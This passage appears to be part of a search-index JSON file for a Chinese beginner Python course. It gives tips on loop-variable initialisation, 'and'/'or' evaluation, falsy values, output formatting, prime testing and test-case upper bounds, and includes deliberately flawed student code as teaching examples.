<p>\\u4e0d\\u8981\\u5728\\u5b83\\u7684Shell\\u91cc\\u6572\\u5165\\u4ee3\\u7801\\uff0c\\u56e0\\u4e3a\\u5b83\\u4e0d\\u652f\\u6301\\u591a\\u6761\\u8bed\\u53e5</p>\"},{\"location\":\"PythonCourse/#_23\",\"title\":\"\\u521d\\u59cb\\u5316\\u80fd\\u5728\\u5faa\\u73af\\u4f53\\u5185\\u5417\\uff1f\",\"text\":\"<p>\\u6bd4\\u5982\\u9898\\u76ee\\u8981\\u6c42\\u6ca1\\u6709\\u9519\\u8bef\\u7684\\u8eab\\u4efd\\u8bc1\\u5c31\\u8f93\\u51faAll Passed!\\uff0c\\u4e0b\\u9762\\u7684\\u4f2a\\u4ee3\\u7801\\u9519\\u5728\\u54ea\\uff1f</p> <pre><code>\\u5bf9\\u6bcf\\u4e00\\u4e2a\\u8eab\\u4efd\\u8bc1:\\n    flag = 1 #1\\u8868\\u793a\\u6ca1\\u9519\\n    if \\u8eab\\u4efd\\u8bc1\\u9519\\u4e86:\\n        flag = 0 #\\u53ea\\u8981\\u6709\\u4e00\\u4e2a\\u9519\\u4e86 flag\\u7f6e0\\n\\nif flag:\\n    print(\\\"All Passed!\\\")\\n</code></pre> <p>flag=1\\u662f\\u4e00\\u4e2a\\u521d\\u59cb\\u5316\\u8bed\\u53e5\\uff0c\\u653e\\u5728\\u5faa\\u73af\\u91cc\\u9762\\u5c31\\u4f1a\\u5bfc\\u81f4\\u6bcf\\u6b21\\u5faa\\u73af\\u90fd\\u8fdb\\u884c\\u521d\\u59cb\\u5316\\uff0c\\u5c31\\u53d8\\u6210\\u4e86\\u53ea\\u8981\\u6700\\u540e\\u4e00\\u4e2a\\u8eab\\u4efd\\u8bc1\\u6ca1\\u9519\\u6700\\u540eflag\\u5c31\\u662f1\\uff0c\\u4f60\\u4f1a\\u9519\\u8bef\\u7684\\u8f93\\u51faAll Passed!</p> <p>\\u53d8\\u91cf\\u7684\\u521d\\u59cb\\u5316\\u9700\\u8981\\u5728\\u8fdb\\u5165\\u5faa\\u73af\\u4e4b\\u524d\\u505a\\u5b8c</p>\"},{\"location\":\"PythonCourse/#_24\",\"title\":\"\\u5b66\\u4f1a\\u62c6\\u5206\\u95ee\\u9898 \\u5927\\u800c\\u5316\\u5c0f\",\"text\":\"<p>\\u9898\\u76ee\\u8981\\u6c42\\u5b9e\\u73b0aa+aaaa+\\u2026+aaa\\u2026\\u2026a(n\\u4e2aa)\\u6c42\\u548c</p> <p>\\u62c6\\u5206\\u6210\\u4e24\\u4e2a\\u95ee\\u9898\\uff1a\\u600e\\u4e48\\u5f97\\u5230n\\u4e2aa\\uff1f \\u600e\\u4e48\\u5faa\\u73af\\u4ece2\\u5230n\\u6c42\\u548c\\uff1f</p> <p>\\u4e0d\\u8981\\u628a\\u8fd9\\u4e24\\u4e2a\\u95ee\\u9898\\u6df7\\u5728\\u4e00\\u8d77\\u601d\\u8003\\uff0c\\u5982\\u679c\\u4f60\\u4e0d\\u77e5\\u9053\\u53ef\\u4ee5\\u7528\\u5b57\\u7b26\\u4e32\\u4e58\\u4ee5\\u6574\\u6570\\uff0c\\u90a3\\u4f60\\u53ef\\u4ee5\\u5148\\u5047\\u8bbe\\u6709\\u8fd9\\u4e48\\u4e00\\u4e2a\\u51fd\\u6570getna(n, a)\\uff0c\\u7d2f\\u52a0\\u5c31\\u662f\\uff1a</p> <pre><code>a='5'\\nn=4 #\\u5b9e\\u9645\\u4e0a\\u9700\\u8981input()\\uff0c\\u6211\\u4eec\\u8fd9\\u91cc\\u5c31\\u76f4\\u63a5\\u5199\\u4e86 \\u9700\\u8981\\u8ba1\\u7b9755+5555\\n\\ns = 0\\nfor i in range(2, n+1, 2):\\n    s += getna(a, i)\\n</code></pre> <p>\\u7136\\u540e\\u6211\\u4eec\\u518d\\u53bb\\u5b9e\\u73b0getna\\u8fd9\\u4e2a\\u51fd\\u6570\\uff0c\\u8fd9\\u4e2a\\u51fd\\u6570\\u5c31\\u5e72\\u4e00\\u4ef6\\u4e8b\\u60c5\\u2014\\u2014\\u8f93\\u5165a\\u548cn\\uff0c\\u8f93\\u51faaaa\\u2026a(n\\u4e2aa)\\u8fd9\\u4e48\\u4e00\\u4e2a\\u6574\\u6570</p> <p>\\u8f93\\u5165a=\\u20185\\u2019,n=4\\uff0c\\u8f93\\u51fa5555</p> <p>\\u8fd9\\u6b21\\u6211\\u7528\\u5faa\\u73af\\u4e58\\u6cd5\\uff0c\\u53ef\\u4ee5\\u770b\\u6210<code>5 + 5*10 + 5*10*10 + 5*10*10*10</code> \\u6bcf\\u6b21\\u5faa\\u73af\\u90fd\\u662f5\\u4e58\\u4ee5\\u4e00\\u4e2a\\u6570\\uff0c\\u8fd9\\u4e2a\\u6570\\u4ece1\\u5f00\\u59cb \\u6bcf\\u6b21\\u5faa\\u73af\\u540e\\u4e58\\u4ee510</p> <pre><code>def getna(a, n):\\n    # \\u8fd9\\u91cc\\u6211\\u4eec\\u9700\\u8981a\\u4e5f\\u662f\\u4e00\\u4e2a\\u6574\\u6570\\n    a, n = int(a), int(n) #\\u9632\\u5fa1\\u6027\\u7f16\\u7a0b\\uff0c\\u4f60\\u4e0d\\u77e5\\u9053\\u8c03\\u7528\\u8005\\u662f\\u5426\\u7ed9\\u4e86\\u9700\\u8981\\u7684\\u7c7b\\u578b\\uff0c\\u53cd\\u6b63\\u8f6c\\u6362\\u4e00\\u4e0b\\u4e0d\\u8d39\\u4e8b\\n    multiply = 1\\n    res = 0\\n    for i in range(n):\\n        res += a*multiply\\n        multiply *= 10\\n    return res\\n</code></pre> <p>\\u6d4b\\u8bd5\\u4e00\\u4e0b\\u81ea\\u5df1\\u5bf9\\u4e0d\\u5bf9\\uff1a</p> <pre><code>&gt;&gt;&gt; getna(\\\"5\\\",4)\\n5555\\n</code></pre> <p>\\u6700\\u540e\\u628a\\u4e24\\u90e8\\u5206\\u62fc\\u8d77\\u6765\\u5c31\\u884c\\u54af</p> <pre><code>def getna(a, n):\\n    # \\u8fd9\\u91cc\\u6211\\u4eec\\u9700\\u8981a\\u4e5f\\u662f\\u4e00\\u4e2a\\u6574\\u6570\\n    a, n = int(a), int(n) #\\u9632\\u5fa1\\u6027\\u7f16\\u7a0b\\uff0c\\u4f60\\u4e0d\\u77e5\\u9053\\u8c03\\u7528\\u8005\\u662f\\u5426\\u7ed9\\u4e86\\u9700\\u8981\\u7684\\u7c7b\\u578b\\uff0c\\u53cd\\u6b63\\u8f6c\\u6362\\u4e00\\u4e0b\\u4e0d\\u8d39\\u4e8b\\n    multiply = 1\\n    res = 0\\n    for i in range(n):\\n        res += a*multiply\\n        multiply *= 10\\n    return res\\n\\na='5'\\nn=4\\n\\ns = 0\\nfor i in range(2, n+1, 2):\\n    s += getna(a, i)\\n\\nprint(s)\\n</code></pre> <p>\\u5f53\\u7136\\u8fd9\\u4e2a\\u9898\\u76ee\\u6709\\u7b80\\u5316\\u505a\\u6cd5\\uff1a</p> <p>n\\u4e2aa\\u8fd9\\u4e2a\\u6574\\u6570\\u7528 \\u5b57\\u7b26\\u4e32\\u4e58\\u4ee5\\u6570\\u5b57\\u5f97\\u5230\\u5b57\\u7b26\\u4e32 \\u518dint\\u8f6c\\u6574\\u6570<code>int(str(a)*int(n))</code></p> <p>\\u4ece2\\u5230n\\u6bcf\\u6b21\\u9012\\u589e2\\uff0c\\u7528range(2,n+1,2)</p> <p>\\u672c\\u8d28\\u4e0a\\u662f\\u4e00\\u4e2a\\u5217\\u8868\\u6c42\\u548c\\uff0c\\u6240\\u4ee5\\u53ef\\u4ee5\\u76f4\\u63a5\\u7528sum\\u51fd\\u6570\\uff0crange\\u8fd4\\u56de\\u7684\\u4e1c\\u897f\\u53ef\\u4ee5\\u770b\\u6210\\u4e00\\u4e2a\\u5217\\u8868\\uff0c\\u5217\\u8868\\u8f6c\\u6362\\u6210\\u53e6\\u4e00\\u4e2a\\u5217\\u8868\\u7528\\u5217\\u8868\\u63a8\\u5bfc\\u5f0f\\u5c31\\u884c \\u5199\\u6cd5\\uff1a[something(i) for i in \\u2026]</p> <pre><code>a='5'\\nn=4\\nprint( sum([ int(str(a)*int(i)) for i in range(2,n+1,2) ]) )\\n</code></pre>\"},{\"location\":\"PythonCourse/#andor\",\"title\":\"\\u6df7\\u5728\\u4e00\\u8d77\\u7684and\\u548cor\",\"text\":\"<p>and\\u7684\\u4f18\\u5148\\u7ea7\\u6bd4or\\u9ad8</p> <pre><code>x=5\\ny=False\\nz=False\\n\\nprint(x or y and z)\\n</code></pre> <p>\\u8fd9\\u4e2a\\u7b49\\u4ef7\\u4e8eprint(x or (y and z)) \\u5148\\u8ba1\\u7b97False and False\\u662fFalse\\uff0c\\u7136\\u540ex or False\\u56e0\\u4e3ax\\u662f\\u771f\\u7684 \\u7ed3\\u679c\\u5c31\\u662fx</p> <p>\\u8f93\\u51fa5</p>\"},{\"location\":\"PythonCourse/#a-and-b\",\"title\":\"a and b\",\"text\":\"<p>\\u8fd4\\u56de\\u7684\\u53ea\\u53ef\\u80fd\\u662fa\\u548cb\\u4e4b\\u95f4\\u7684\\u4e00\\u4e2a\\uff0ca\\u662f\\u771f\\u7684\\u5c31\\u8fd4\\u56deb\\uff0ca\\u662f\\u5047\\u7684\\u5c31\\u8fd4\\u56dea</p> <pre><code>&gt;&gt;&gt; 1 and 6\\n6\\n&gt;&gt;&gt; [] and 6\\n[]\\n</code></pre>\"},{\"location\":\"PythonCourse/#a-or-b\",\"title\":\"a or b\",\"text\":\"<p>\\u8fd4\\u56de\\u7684\\u53ea\\u53ef\\u80fd\\u662fa\\u548cb\\u4e4b\\u95f4\\u7684\\u4e00\\u4e2a\\uff0ca\\u662f\\u771f\\u7684\\u5c31\\u8fd4\\u56dea\\uff0ca\\u662f\\u5047\\u7684\\u5c31\\u8fd4\\u56deb</p> <pre><code>&gt;&gt;&gt; 1 or 6\\n1\\n&gt;&gt;&gt; [].sort() or 6\\n6\\n</code></pre> <p>\\u8fd8\\u8bb0\\u5f97\\u4e0a\\u9762\\u8bf4\\u7684.sort()\\u8fd4\\u56deNone\\u5417\\uff1f None\\u662f\\u5047\\u7684\\u5662</p>\"},{\"location\":\"PythonCourse/#_25\",\"title\":\"\\u54ea\\u4e9b\\u4e1c\\u897f\\u662f\\u5047\\u7684\\uff1f\",\"text\":\"<p>0\\u662f\\u5047\\u7684\\uff0c\\u7a7a\\u7684\\u4e1c\\u897f<code>'', [], {}</code>\\u662f\\u5047\\u7684\\uff0cFalse\\u662f\\u5047\\u7684\\uff0cNone\\u662f\\u5047\\u7684\\uff0c\\u5176\\u4ed6\\u7684\\u90fd\\u662f\\u771f\\u7684</p> <p>\\u641c\\u7d22python False values\\u53ef\\u4ee5\\u641c\\u5230 https://docs.python.org/3/library/stdtypes.html</p> <p>Any object can be tested for truth value, for use in an if or while condition or as operand of the Boolean operations below.</p> <p>By default, an object is considered true unless its class defines either a bool() method that returns False or a len() method that returns zero, when called with the object. 1 Here are most of the built-in objects considered false:</p> <ul> <li> <p>constants defined to be false: None and False.</p> </li> <li> <p>zero of any numeric type: 0, 0.0, 0j, Decimal(0), Fraction(0, 1)</p> </li> <li> <p>empty sequences and collections: \\u2018\\u2019, (), [], {}, set(), range(0)</p> </li> </ul> <p>Operations and built-in functions that have a Boolean result always return 0 or False for false and 1 or True for true, unless otherwise stated. (Important exception: the Boolean operations or and and always return one of their operands.)</p>\"},{\"location\":\"PythonCourse/#_26\",\"title\":\"\\u884c\\u672b\\u5230\\u5e95\\u8981\\u4e0d\\u8981\\u8f93\\u51fa\\u7a7a\\u683c\",\"text\":\"<p>\\u65b9\\u6cd5\\u662f\\u590d\\u5236\\u4e00\\u4e0b\\u9898\\u76ee\\u7684\\u8f93\\u51fa\\u6837\\u4f8b\\uff0c\\u770b\\u770b\\u5230\\u5e95\\u6700\\u540e\\u6709\\u6ca1\\u6709\\u7a7a\\u683c</p>\"},{\"location\":\"PythonCourse/#_27\",\"title\":\"\\u600e\\u6837\\u505a\\u5230\\u672b\\u5c3e\\u4e0d\\u8f93\\u51fa\\u7a7a\\u683c\",\"text\":\"<p>\\u5982\\u679c\\u53ef\\u4ee5\\u8f93\\u51fa\\u7a7a\\u683c\\uff0c\\u7b80\\u5355 \\u5faa\\u73af\\u91cc\\u9762print(item, end=\\u2019 \\u2018)\\u5c31\\u884c</p> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50\\u5427\\uff0c\\u9898\\u76ee\\u8981\\u6c42\\u6211\\u4eec\\u8f93\\u51fa1 2 3 \\uff0c\\u672b\\u5c3e\\u8981\\u6709\\u7a7a\\u683c</p> <p>\\u7528print\\u8bb0\\u5f97end\\u53c2\\u6570\\u8981\\u5199\\u4e0a\\uff0c\\u5426\\u5219\\u5c31\\u6362\\u884c\\u4e86</p> <pre><code>for i in range(1, 4):\\n    print(i, end=' ')\\n</code></pre>\"},{\"location\":\"PythonCourse/#1resultprintresult\",\"title\":\"\\u65b9\\u68481\\uff1a\\u628a\\u8981\\u8f93\\u51fa\\u7684\\u4e1c\\u897f\\u6682\\u65f6\\u5b58\\u5230\\u6570\\u7ec4result\\u91cc\\uff0c\\u6700\\u540e<code>print(*result)</code>\",\"text\":\"<p>\\u9898\\u76ee\\u8981\\u6c42\\u6211\\u4eec\\u8f93\\u51fa1 2 3\\uff0c\\u672b\\u5c3e\\u4e0d\\u80fd\\u6709\\u7a7a\\u683c</p> <pre><code>result=[]\\nfor i in range(1, 4):\\n    result.append(i)\\nprint(*result)\\n</code></pre> <p>\\u8fd9\\u91cc\\u7528\\u5230\\u4e86\\u7b26\\u53f7<code>*</code>\\uff0c\\u5728\\u8c03\\u7528\\u51fd\\u6570\\u7684\\u65f6\\u5019\\u4f7f\\u7528\\u661f\\u53f7\\u8868\\u793a\\u628a\\u8fd9\\u4e2a\\u6570\\u7ec4\\u62c6\\u5f00\\uff0c\\u6570\\u7ec4\\u7684\\u6bcf\\u4e2a\\u5143\\u7d20\\u90fd\\u4f5c\\u4e3a\\u51fd\\u6570\\u7684\\u53c2\\u6570</p> <p>\\u5047\\u8bbe<code>result=[1,2,3]</code>\\uff0c<code>print([1,2,3])</code>\\u4f1a\\u8f93\\u51fa<code>[1, 2, 3]</code> \\u4e24\\u8fb9\\u6709\\u65b9\\u6846 \\u4e0d\\u662f\\u6211\\u4eec\\u8981\\u7684</p> <p>\\u8bd5\\u8bd5<code>print(*[1,2,3])</code> \\u4f1a\\u8f93\\u51fa<code>1 2 3</code> \\u5b83\\u5c31\\u7b49\\u4ef7\\u4e8e<code>print(1,2,3)</code> </p> <p>\\u770b\\uff0c\\u5217\\u8868\\u7684\\u6bcf\\u4e2a\\u5143\\u7d20\\u4ece\\u6570\\u7ec4\\u7684\\u675f\\u7f1a\\u4e2d\\u89e3\\u8131\\u51fa\\u6765\\uff0c\\u76f4\\u63a5\\u5f53\\u6210print\\u7684\\u53c2\\u6570\\u4e86\\uff01</p>\"},{\"location\":\"PythonCourse/#2\",\"title\":\"\\u65b9\\u68482\\uff1a\\u533a\\u5206\\u9996\\u5143\\u7d20\\u548c\\u5176\\u540e\\u7684\\u5143\\u7d20\",\"text\":\"<p>\\u6bd4\\u5982\\u8981\\u8f93\\u51fa<code>1 2 3</code>\\uff0c\\u6211\\u4eec\\u8fd9\\u4e48\\u770b\\u5f85\\uff1a<code>1/\\u7a7a\\u683c2/\\u7a7a\\u683c3</code></p> <p>\\u4e3a\\u5565\\u8fd9\\u6837\\u770b\\u5462\\uff1f\\u4e3a\\u5565\\u4e0d\\u770b\\u6210\\u662f<code>1\\u7a7a\\u683c/2\\u7a7a\\u683c/3</code>\\u5462\\uff1f\\u56e0\\u4e3a\\u5faa\\u73af\\u5565\\u65f6\\u5019\\u7ed3\\u675f\\u5f88\\u53ef\\u80fd\\u662f\\u4f60\\u4e0d\\u77e5\\u9053\\u7684\\uff0c\\u4f60\\u5c31\\u65e0\\u6cd5\\u5224\\u65ad\\u5f53\\u524d\\u5143\\u7d20\\u662f\\u4e0d\\u662f\\u6700\\u540e\\u4e00\\u4e2a\\u3002</p> <p>\\u4f46\\u662f\\u4f60\\u4e00\\u5b9a\\u77e5\\u9053\\u54ea\\u4e2a\\u5143\\u7d20\\u662f\\u7b2c\\u4e00\\u4e2a\\u5143\\u7d20\\u554a\\uff01</p> <pre><code>isfirst=True\\nfor i in range(1, 4):\\n    if isfirst: # \\u7b2c\\u4e00\\u4e2a\\u5143\\u7d20\\n        print(i, end='')\\n        isfirst=False\\n    else: # \\u540e\\u7eed\\u7684\\u5143\\u7d20 \\u5148\\u8f93\\u51fa\\u4e00\\u4e2a\\u7a7a\\u683c\\n        print('', i, end='') #\\u7b49\\u4ef7\\u4e8eprint(' '+str(i), end='')\\n</code></pre>\"},{\"location\":\"PythonCourse/#printn\",\"title\":\"\\u5982\\u4f55\\u6b63\\u786e\\u5730\\u6362\\u884c print(\\u2018\\\\n\\u2019)\\u662f\\u4e0d\\u884c\\u7684\",\"text\":\"<p>\\u4e0a\\u9762\\u6211\\u4eec\\u90fd\\u662f\\u5728\\u4e00\\u884c\\u91cc\\u8f93\\u51fa\\uff0c\\u73b0\\u5728\\u6211\\u4eec\\u8981\\u5f00\\u59cb\\u4e0b\\u4e00\\u884c\\u4e86\\uff0c\\u4f60\\u5f88\\u53ef\\u80fd\\u60f3<code>print('\\\\n')</code></p> <p>\\u8fd9\\u4e2a\\u5b9e\\u9645\\u4e0a\\u662f<code>print('\\\\n', end='\\\\n')</code> \\u56e0\\u4e3a\\u4f60\\u6ca1\\u6709\\u63d0\\u4f9bend\\u53c2\\u6570\\uff0cend\\u5c31\\u9ed8\\u8ba4\\u662f\\u4e00\\u4e2a\\u6362\\u884c\\uff0c\\u4f60\\u81ea\\u5df1\\u53c8\\u663e\\u793a\\u4e86\\u4e2a\\u6362\\u884c\\uff0c\\u90a3\\u5c31\\u662f\\u4e24\\u4e2a\\\\n\\u4e86\\uff01</p> <p>\\u4e24\\u4e2a\\\\n\\uff01\\u5148\\u8fdb\\u5165\\u4e0b\\u4e00\\u884c\\uff0c\\u518d\\u8fdb\\u5165\\u4e0b\\u4e00\\u884c\\uff0c\\u4e0d\\u5c31\\u663e\\u793a\\u4e86\\u4e00\\u4e2a\\u591a\\u4f59\\u7684\\u7a7a\\u884c\\u4e86\\u561b\\uff01</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a<code>print()</code>\\u591a\\u7b80\\u5355</p>\"},{\"location\":\"PythonCourse/#_28\",\"title\":\"\\u5faa\\u73af\\u521d\\u59cb\\u5316 \\u653e\\u5728\\u6b63\\u786e\\u7684\\u4f4d\\u7f6e\",\"text\":\"<p>\\u5faa\\u73af\\u4f9d\\u8d56\\u7684\\u53d8\\u91cf\\u7684\\u521d\\u59cb\\u5316\\u2014\\u2014\\u4e00\\u5b9a\\u8981\\u5728\\u5faa\\u73af\\u5f00\\u59cb\\u4e4b\\u524d\\u505a\\uff01\\u4e0d\\u80fd\\u5728\\u5916\\u9762\\u5faa\\u73af\\u4e4b\\u524d\\u505a\\uff01</p> <pre><code>t=int(input())\\ncnt=0\\nlst=[] #\\u50a8\\u5b58\\u7ed3\\u679c\\uff0c\\u6700\\u540e\\u4e00\\u8d77\\u8f93\\u51fa\\nfor i in range(t):\\nn=int(input())\\nmat=[]\\nfor j in range(n):\\nmat.append(input().split())\\nfor row in range(1,n):\\nfor col in range(0,n-1):\\nif row&gt;col and mat[row][col]=='0':\\ncnt+=1\\nif cnt==(n**2-n)/2:\\nstr=\\\"YES\\\"\\nelse:\\nstr=\\\"NO\\\"\\nlst.append(str)\\nfor z in lst:\\nprint(z)\\n</code></pre> <p>\\u4f8b\\u5982\\u8fd9\\u4e2a\\u5224\\u65ad\\u4e0a\\u4e09\\u89d2\\u7684\\uff0c\\u5148\\u770b\\u8fd9\\u4ee3\\u7801\\u7684\\u672c\\u8d28\\u2014\\u2014\\u5faa\\u73af\\u91cc\\u9762\\u6709\\u5faa\\u73af\\uff0c\\u5916\\u5c42\\u5faa\\u73af\\uff08range t\\uff09\\u662f\\u591a\\u4e2a\\u77e9\\u9635\\uff0c\\u5185\\u5c42\\u5faa\\u73af\\uff08row\\u548ccol\\uff09\\u7528\\u6765\\u904d\\u5386\\u77e9\\u9635</p> <p>\\u90a3\\u95ee\\u9898\\u6765\\u4e86\\uff0c\\u5185\\u5c42\\u5faa\\u73af\\u7684cnt\\u4f5c\\u7528\\u5728\\u5355\\u4e2a\\u77e9\\u9635\\u91cc\\u9762\\uff0c\\u4e0d\\u540c\\u77e9\\u9635\\u4e4b\\u95f4\\u4e0d\\u80fd\\u76f8\\u4e92\\u5e72\\u6270\\uff0c\\u4e5f\\u5c31\\u662f\\u8bf4cnt\\u5e94\\u8be5\\u5728\\u8fdb\\u5165row\\u5faa\\u73af\\u4e4b\\u524d\\u521d\\u59cb\\u5316\\uff01\\u628acnt=0\\u79fb\\u52a8\\u5230\\u7b2c9\\u884c\\u4e4b\\u524d\\u5373\\u53ef</p> <p>\\u518d\\u6253\\u4e2a\\u6bd4\\u65b9\\uff0c\\u6211\\u4eec\\u8981\\u8ba1\\u7b97\\u591a\\u4e2a\\u73ed\\u7ea7\\u5206\\u522b\\u7684\\u5e73\\u5747\\u5206\\uff0c\\u9700\\u8981\\u5bf9\\u73ed\\u7ea7\\u5185\\u7684\\u6bcf\\u4e2a\\u5b66\\u751f\\u7d2f\\u52a0\\u5230sum_score\\uff0c\\u90a3\\u4f60\\u5c31\\u9700\\u8981\\u5728 \\u8fdb\\u5165\\u8fd9\\u4e2a\\u73ed\\u7ea7\\u7684\\u5faa\\u73af\\u540e \\u5bf9\\u73ed\\u7ea7\\u5185\\u6bcf\\u4e2a\\u5b66\\u751f\\u904d\\u5386\\u7684\\u5faa\\u73af\\u524d \\u5bf9sum_score \\u8fdb\\u884c\\u521d\\u59cb\\u5316 sum_score=0\\uff1b\\u5982\\u679c\\u4f60\\u63d0\\u65e9\\u505a\\u4e86\\uff0c\\u4e0a\\u4e2a\\u73ed\\u7ea7\\u7684\\u603b\\u5206\\u5c31\\u4f1a\\u52a0\\u5165\\u5230\\u4e0b\\u4e2a\\u73ed\\u7ea7\\uff0c\\u4e0d\\u5408\\u9002\\u5427</p> <pre><code>n=int(input())\\ndata=[int(input()) for i in range(n)]\\na=2\\nfor i in data:\\n    while a&lt;i:\\n        if i%a==0:\\n            print('No')\\nbreak\\na=a+1\\nelse:\\n        print('Yes')\\n</code></pre> <p>\\u8fd9\\u662f\\u53e6\\u4e00\\u4e2a\\u4f8b\\u5b50\\uff0c\\u5224\\u65ad\\u7d20\\u6570\\uff0c\\u6bcf\\u4e2a\\u7d20\\u6570\\u7684\\u5224\\u65ad\\u5e94\\u8be5\\u662f\\u72ec\\u7acb\\u7684\\uff0c\\u9700\\u8981\\u628aa=2\\u79fb\\u52a8\\u5230<code>for i in data:</code>\\u5faa\\u73af\\u5f00\\u59cb\\u4e4b\\u540e <code>while a&lt;i</code>\\u5faa\\u73af\\u5f00\\u59cb\\u4e4b\\u524d</p> <p>\\u7b80\\u800c\\u8a00\\u4e4b\\uff1a\\u54ea\\u4e2a\\u5faa\\u73af\\u8d1f\\u8d23\\u8fd9\\u4e2a\\u53d8\\u91cf\\uff0c\\u5c31\\u5728\\u8fd9\\u4e2a\\u5faa\\u73af\\u4e4b\\u524d\\u505a\\u521d\\u59cb\\u5316\\uff0c\\u4fdd\\u8bc1\\u5916\\u5c42\\u5faa\\u73af\\u4e92\\u4e0d\\u5e72\\u6270</p>\"},{\"location\":\"PythonCourse/#_29\",\"title\":\"\\u586b\\u7a7a\\u9898\\u522b\\u51fa\\u73b0\\u4e2d\\u6587\\u5f15\\u53f7\",\"text\":\"<p>\\u522b\\u4ee5\\u4e3a\\u522b\\u7684\\u9898\\u76ee\\u6587\\u672c\\u91cc\\u51fa\\u73b0\\u4e86\\u4e2d\\u6587\\u5f15\\u53f7\\u4f60\\u5c31\\u80fd\\u7528\\uff0c\\u9898\\u76ee\\u4e0d\\u4e25\\u8c28\\u4e0d\\u4ee3\\u8868\\u4f60\\u80fd\\u4e0d\\u4e25\\u8c28</p>\"},{\"location\":\"PythonCourse/#_30\",\"title\":\"\\u600e\\u4e48\\u6b63\\u786e\\u5730\\u5224\\u65ad\\u7d20\\u6570\",\"text\":\"<p>\\u5982\\u679c\\u4f60\\u8fd8\\u4e0d\\u4f1a\\uff0c\\u5efa\\u8bae\\u80cc\\u4e0b\\u6765\\u6807\\u51c6\\u7b54\\u6848\\uff1a\\u53ea\\u8981\\u9047\\u5230\\u9700\\u8981\\u5224\\u65ad\\u7d20\\u6570\\u7684\\u9898\\u76ee\\uff0c\\u5148\\u9ed8\\u5199\\u8fd9\\u4e2aisPrime\\u51fd\\u6570</p> <p>\\u8bb0\\u5fc6\\u53e3\\u8bc0\\uff1a1\\u4e0d\\u662f\\uff0c2\\u662f\\uff0c\\u4ece2\\u5230(\\u6839\\u53f7n) + 1</p> <pre><code>import math\\ndef isPrime(n):\\n    if n==1:\\n        return False\\n    if n == 2:\\n        return True\\n    for i in range(2, int(math.sqrt(n)+1)):\\n        if n%i==0:\\n            return False\\n    return True\\n</code></pre> <p>\\u4e0d\\u8981\\u628a\\u7d20\\u6570\\u5224\\u65ad\\u7684\\u4ee3\\u7801\\u548c\\u5176\\u4ed6\\u4ee3\\u7801\\u6df7\\u5728\\u4e00\\u8d77\\uff0c\\u6c42\\u6c42\\u4f60\\u5199\\u4e2a\\u51fd\\u6570\\u5427\\uff01 \\u5199\\u4e86\\u51fd\\u6570\\u4e4b\\u540e\\u4f60\\u53ef\\u4ee5\\u81ea\\u5df1\\u8c03\\u7528\\u51fd\\u6570\\u53bb\\u6d4b\\u8bd5\\u554a\\uff0c\\u5982\\u56fe\\u6240\\u793a\\uff0c\\u6211\\u5199\\u4e86\\u4e4b\\u540e\\u5c31\\u4f1a\\u81ea\\u5df1\\u6784\\u9020\\u4e00\\u4e9b\\u6570\\u636e\\u53bb\\u6d4b\\u8bd5\\u3002 \\u6d4b\\u8bd5  \\u6d4b\\u8bd5 \\u6d4b\\u8bd5</p> <pre><code>&gt;&gt;&gt; import math\\n&gt;&gt;&gt; def isPrime(n):\\n...     if n==1:\\n...         return False\\n...     if n == 2:\\n...         return True\\n...     for i in range(2, int(math.sqrt(n)+1)):\\n...         if n%i==0:\\n...             return False\\n...     return True\\n...\\n&gt;&gt;&gt; isPrime(1)\\nFalse\\n&gt;&gt;&gt; isPrime(2)\\nTrue\\n&gt;&gt;&gt; isPrime(3)\\nTrue\\n&gt;&gt;&gt; isPrime(4)\\nFalse\\n&gt;&gt;&gt; isPrime(5)\\nTrue\\n&gt;&gt;&gt; isPrime(6)\\nFalse\\n&gt;&gt;&gt; isPrime(101)\\nTrue\\n&gt;&gt;&gt; isPrime(100)\\nFalse\\n</code></pre>\"},{\"location\":\"PythonCourse/#_31\",\"title\":\"\\u8fd0\\u884c\\u8d85\\u65f6\\u600e\\u4e48\\u7834\\uff1f\",\"text\":\"\"},{\"location\":\"PythonCourse/#_32\",\"title\":\"\\u8bb0\\u4f4f\\u5224\\u65ad\\u7d20\\u6570\\u53ef\\u4ee5\\u5f00\\u6839\\u53f7\\u554a\\uff01\",\"text\":\"<p>\\u4e0d\\u8981\\u4ece2\\u5230n-1\\uff0c\\u6839\\u53f7n\\u5c31\\u884c\\u4e86</p>\"},{\"location\":\"PythonCourse/#_33\",\"title\":\"\\u9898\\u76ee\\u7ed9\\u7684\\u4e0a\\u754c\\u4e00\\u5b9a\\u4f1a\\u6709\\u6d4b\\u8bd5\\u70b9\",\"text\":\"<p>\\u9a8c\\u8bc1\\u54e5\\u5fb7\\u5df4\\u8d6b\\u731c\\u60f3\\u4e00\\u9898 </p> <p>\\u9898\\u76ee\\u8bf4 \\u8f93\\u5165\\u5728\\u4e00\\u884c\\u4e2d\\u7ed9\\u51fa\\u4e00\\u4e2a(2, 2 000 000 000]\\u8303\\u56f4\\u5185\\u7684\\u5076\\u6570N\\u3002</p> <p>\\u54c7 \\u597d\\u591a0\\uff0c\\u6570\\u4e00\\u6570\\u8fd9\\u662f20\\u4ebf\\u554a\\uff0c\\u653e\\u4e00\\u4e2a\\u8fd9\\u4e48\\u5927\\u7684\\u4e0a\\u754c\\u5728\\u8fd9\\u91cc\\u5e72\\u5565\\u554a\\uff1f\\u53ea\\u662f\\u597d\\u770b\\u561b\\uff1f</p> <p>\\u80af\\u5b9a\\u662f\\u6709\\u4e00\\u4e2a\\u6d4b\\u8bd5\\u70b9\\u4f1a\\u8f93\\u5165\\u8fd9\\u4e2a20\\u4ebf\\uff0c\\u4f60\\u81ea\\u5df1\\u672c\\u5730\\u6d4b\\u8bd5\\u4f60\\u7684\\u4ee3\\u7801\\u5c31\\u4e00\\u5b9a\\u8981\\u8bd5\\u8bd5</p> 